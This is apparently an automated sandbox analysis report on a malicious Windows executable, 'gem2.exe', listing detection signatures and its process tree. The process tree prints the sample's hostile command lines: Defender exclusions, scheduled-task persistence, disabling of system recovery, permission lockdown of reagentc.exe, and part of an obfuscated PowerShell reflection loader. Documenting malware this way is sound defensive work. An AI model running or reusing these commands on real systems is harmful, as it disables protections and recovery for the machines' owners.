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Windows
Analysis Report
gem2.exe
Overview
General Information
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
AI detected suspicious sample
Allocates memory in foreign processes
Contain functionality to detect virtual machines
Contains functionality to inject code into remote processes
Creates a thread in another existing process (thread injection)
Creates autostart registry keys with suspicious names
Drops executables to the windows directory (C:\Windows) and starts them
Found direct / indirect Syscall (likely to bypass EDR)
Found strings related to Crypto-Mining
Found suspicious powershell code related to unpacking or dynamic code loading
Hooks files or directories query functions (used to hide files and directories)
Hooks processes query functions (used to hide processes)
Hooks registry keys query functions (used to hide registry keys)
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies the context of a thread in another process (thread injection)
Modifies the prolog of user mode functions (user mode inline hooks)
Obfuscated command line found
Overwrites code with unconditional jumps - possibly settings hooks in foreign process
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential WinAPI Calls Via CommandLine
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Suspect Svchost Activity
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses cmd line tools excessively to alter registry or file data
Uses powercfg.exe to modify the power settings
Uses schtasks.exe or at.exe to add and modify task schedules
Writes to foreign memory regions
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains capabilities to detect virtual machines
Contains functionality to call native functions
Contains functionality to check if a connection to the internet is available
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to create an SMB header
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to query network adapater information
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates COM task schedule object (often to register a task for autostart)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Deletes files inside the Windows folder
Detected potential crypto function
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found evasive API chain (may stop execution after accessing registry keys)
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Powershell Defender Exclusion
Sigma detected: Uncommon Svchost Parent Process
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: Use Short Name Path in Command Line
Stores large binary data to the registry
Uses Microsoft's Enhanced Cryptographic Provider
Uses cacls to modify the permissions of files
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Classification
- System is w10x64
- gem2.exe (PID: 2692 cmdline:
"C:\Users\ user\Deskt op\gem2.ex e" MD5: BE89D598CD96443479C02B022FF70532) - powershell.exe (PID: 4684 cmdline:
powershell .exe -Comm and "Add-M pPreferenc e -Exclusi onExtensio n '.exe'; Add-MpPref erence -Ex clusionPro cess 'svch ost.exe'" MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 1548 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - WmiPrvSE.exe (PID: 7256 cmdline:
C:\Windows \system32\ wbem\wmipr vse.exe -s ecured -Em bedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51) - schtasks.exe (PID: 7476 cmdline:
SCHTASKS / CREATE /TN "System-f 4855f59e0" /TR "C:\W indows\Sys tem32\Syst em-f4855f5 9e0.exe" / SC ONLOGON /RL HIGHE ST /F MD5: 76CD6626DD8834BD4A42E6A565104DC2) - conhost.exe (PID: 7484 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - svchost.exe (PID: 7628 cmdline:
C:\Windows \System32\ svchost.ex e MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - powercfg.exe (PID: 7700 cmdline:
powercfg - change sta ndby-timeo ut-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705) - conhost.exe (PID: 7728 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powercfg.exe (PID: 7716 cmdline:
powercfg - change mon itor-timeo ut-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705) - conhost.exe (PID: 7748 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powercfg.exe (PID: 7736 cmdline:
powercfg / setacvalue index SCHE ME_CURRENT SUB_BUTTO NS LIDACTI ON 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705) - conhost.exe (PID: 7776 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powercfg.exe (PID: 7764 cmdline:
powercfg / setactive SCHEME_CUR RENT MD5: 9CA38BE255FFF57A92BD6FBF8052B705) - conhost.exe (PID: 7816 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 7804 cmdline:
cmd.exe /C reagentc /disable MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7840 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - ReAgentc.exe (PID: 7968 cmdline:
reagentc / disable MD5: A109CC3B919C7D40E4114966340F39E5) - cmd.exe (PID: 8032 cmdline:
cmd.exe /C reg add " HKEY_LOCAL _MACHINE\S OFTWARE\Po licies\Mic rosoft\Win dows\Syste m" /v Disa bleReset / t REG_DWOR D /d 1 /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 8044 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - reg.exe (PID: 8076 cmdline:
reg add "H KEY_LOCAL_ MACHINE\SO FTWARE\Pol icies\Micr osoft\Wind ows\System " /v Disab leReset /t REG_DWORD /d 1 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4) - cmd.exe (PID: 8184 cmdline:
cmd.exe /C reg add " HKEY_LOCAL _MACHINE\S OFTWARE\Mi crosoft\Wi ndows\Curr entVersion \Recovery\ Configurat ion" /v RE Enable /t REG_DWORD /d 0 /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5904 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - reg.exe (PID: 6708 cmdline:
reg add "H KEY_LOCAL_ MACHINE\SO FTWARE\Mic rosoft\Win dows\Curre ntVersion\ Recovery\C onfigurati on" /v REE nable /t R EG_DWORD / d 0 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4) - cmd.exe (PID: 7304 cmdline:
cmd.exe /C takeown / f C:\Windo ws\System3 2\reagentc .exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 4716 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - takeown.exe (PID: 7356 cmdline:
takeown /f C:\Window s\System32 \reagentc. exe MD5: D258A76AA885CBBCAE8C720CD1C284A5) - cmd.exe (PID: 2192 cmdline:
cmd.exe /C icacls C: \Windows\S ystem32\re agentc.exe /grant ad ministrato rs:F MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5368 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - icacls.exe (PID: 7516 cmdline:
icacls C:\ Windows\Sy stem32\rea gentc.exe /grant adm inistrator s:F MD5: 48C87E3B3003A2413D6399EA77707F5D) - cmd.exe (PID: 7508 cmdline:
cmd.exe /C icacls C: \Windows\S ystem32\re agentc.exe /deny Eve ryone:(X) MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7440 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - icacls.exe (PID: 5520 cmdline:
icacls C:\ Windows\Sy stem32\rea gentc.exe /deny Ever yone:(X) MD5: 48C87E3B3003A2413D6399EA77707F5D) - WMIC.exe (PID: 5988 cmdline:
wmic diskd rive get s erialnumbe r MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - conhost.exe (PID: 6008 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - WMIC.exe (PID: 1552 cmdline:
wmic diskd rive get s erialnumbe r MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - conhost.exe (PID: 1588 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - curl.exe (PID: 2236 cmdline:
curl -s ht tps://api. ipify.org MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1) - conhost.exe (PID: 3312 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - explorer.exe (PID: 7788 cmdline:
"C:\Window s\SysWOW64 \explorer. exe" MD5: DD6597597673F72E10C9DE7901FBA0A8)
- System-f4855f59e0.exe (PID: 7524 cmdline:
C:\Windows \System32\ System-f48 55f59e0.ex e MD5: BE89D598CD96443479C02B022FF70532)
- Microsoft-f4855f59e0.exe (PID: 7692 cmdline:
"C:\Progra m Files (x 86)\Micros oft\Temp\M icrosoft-f 4855f59e0. exe" MD5: BE89D598CD96443479C02B022FF70532)
- powershell.exe (PID: 7992 cmdline:
C:\Windows \System32\ WindowsPow erShell\v1 .0\powersh ell.EXE "f unction Lo cal:EtrMmU yKmezi{Par am([Output Type([Type ])][Parame ter(Positi on=0)][Typ e[]]$lQOtN kEZiwxXMY, [Parameter (Position= 1)][Type]$ pZbFqViXVD )$sbBqvXXf arI=[AppDo main]::Cur rentDomain .DefineDyn amicAssemb ly((New-Ob ject Refle ction.Asse mblyName(' '+'R'+'e'+ [Char](102 )+''+'l'+' '+[Char](1 01)+''+[Ch ar](99)+'t '+[Char](1 01)+''+'d' +''+'D'+'' +[Char](10 1)+''+[Cha r](108)+'' +'e'+'ga'+ 't'+'e')), [Reflectio n.Emit.Ass emblyBuild erAccess]: :Run).Defi neDynamicM odule(''+[ Char](73)+ 'nM'+[Char ](101)+'m' +[Char](11 1)+''+[Cha r](114)+'y '+[Char](7 7)+'od'+'u '+'l'+[Cha r](101)+'' ,$False).D efineType( ''+'M'+''+ [Char](121 )+''+[Char ](68)+'e'+ [Char](108 )+''+'e'+' '+'g'+''+[ Char](97)+ ''+[Char]( 116)+''+[C har](101)+ ''+[Char]( 84)+''+'y' +''+[Char] (112)+''+[ Char](101) +'','C'+'l '+''+'a'+' '+[Char](1 15)+''+'s' +''+[Char] (44)+''+[C har](80)+' '+[Char](1 17)+''+'b' +''+[Char] (108)+'i'+ [Char](99) +''+[Char] (44)+'S'+[ Char](101) +''+[Char] (97)+'led' +[Char](44 )+'A'+[Cha r](110)+'' +[Char](11 5)+''+'i'+ ''+'C'+''+ [Char](108 )+''+'a'+' s'+[Char]( 115)+''+[C har](44)+' '+[Char](6 5)+''+[Cha r](117)+'t o'+'C'+'l' +'a'+''+[C har](115)+ ''+'s'+'', [Multicast Delegate]) ;$sbBqvXXf arI.Define Constructo r(''+[Char ](82)+''+' T'+''+[Cha r](83)+''+ [Char](112 )+''+[Char ](101)+''+ 'c'+'i'+[C har](97)+' '+[Char](1 08)+''+[Ch ar](78)+'a '+[Char](1 09)+''+[Ch ar](101)+' '+','+''+[ Char](72)+ ''+'i'+''+ [Char](100 )+'e'+'B'+ ''+'y'+''+ [Char](83) +'i'+[Char ](103)+''+ [Char](44) +'P'+[Char ](117)+''+ [Char](98) +''+[Char] (108)+''+[ Char](105) +''+'c'+'' ,[Reflecti on.Calling Convention s]::Standa rd,$lQOtNk EZiwxXMY). SetImpleme ntationFla gs(''+[Cha r](82)+''+ [Char](117 )+''+[Char ](110)+''+ [Char](116 )+''+[Char ](105)+'m' +[Char](10 1)+''+','+ ''+[Char]( 77)+''+'a' +''+[Char] (110)+''+[ Char](97)+ ''+[Char]( 103)+'ed') ;$sbBqvXXf arI.Define Method(''+ 'I'+''+[Ch ar](110)+' '+'v'+''+' o'+''+[Cha r](107)+'' +'e'+'','' +'P'+''+'u '+''+[Char ](98)+''+[ Char](108) +''+'i'+'' +[Char](99 )+''+[Char ](44)+'H'+ [Char](105 )+''+[Char ](100)+'e' +'B'+''+'y '+''+[Char ](83)+'i'+ [Char](103 )+''+','+' '+[Char](7 8)+''+[Cha r](101)+'' +[Char](11 9)+''+[Cha r](83)+''+ 'l'+'ot'+[ Char](44)+ 'V'+[Char] (105)+''+[ Char](114) +'tual',$p ZbFqViXVD, $lQOtNkEZi wxXMY).Set Implementa tionFlags( 'Ru'+'n'+' '+'t'+''+' i'+''+[Cha r](109)+'' +[Char](10 1)+''+[Cha r](44)+''+ [Char](77) +''+[Char] (97)+'n'+[ Char](97)+ ''+[Char]( 103)+''+[C har](101)+ ''+'d'+'') ;Write-Out put $sbBqv XXfarI.Cre ateType(); }$MoLktxqt nxyrW=([Ap pDomain]:: CurrentDom ain.GetAss emblies()| Where-Obje ct{$_.Glob alAssembly Cache -And $_.Locati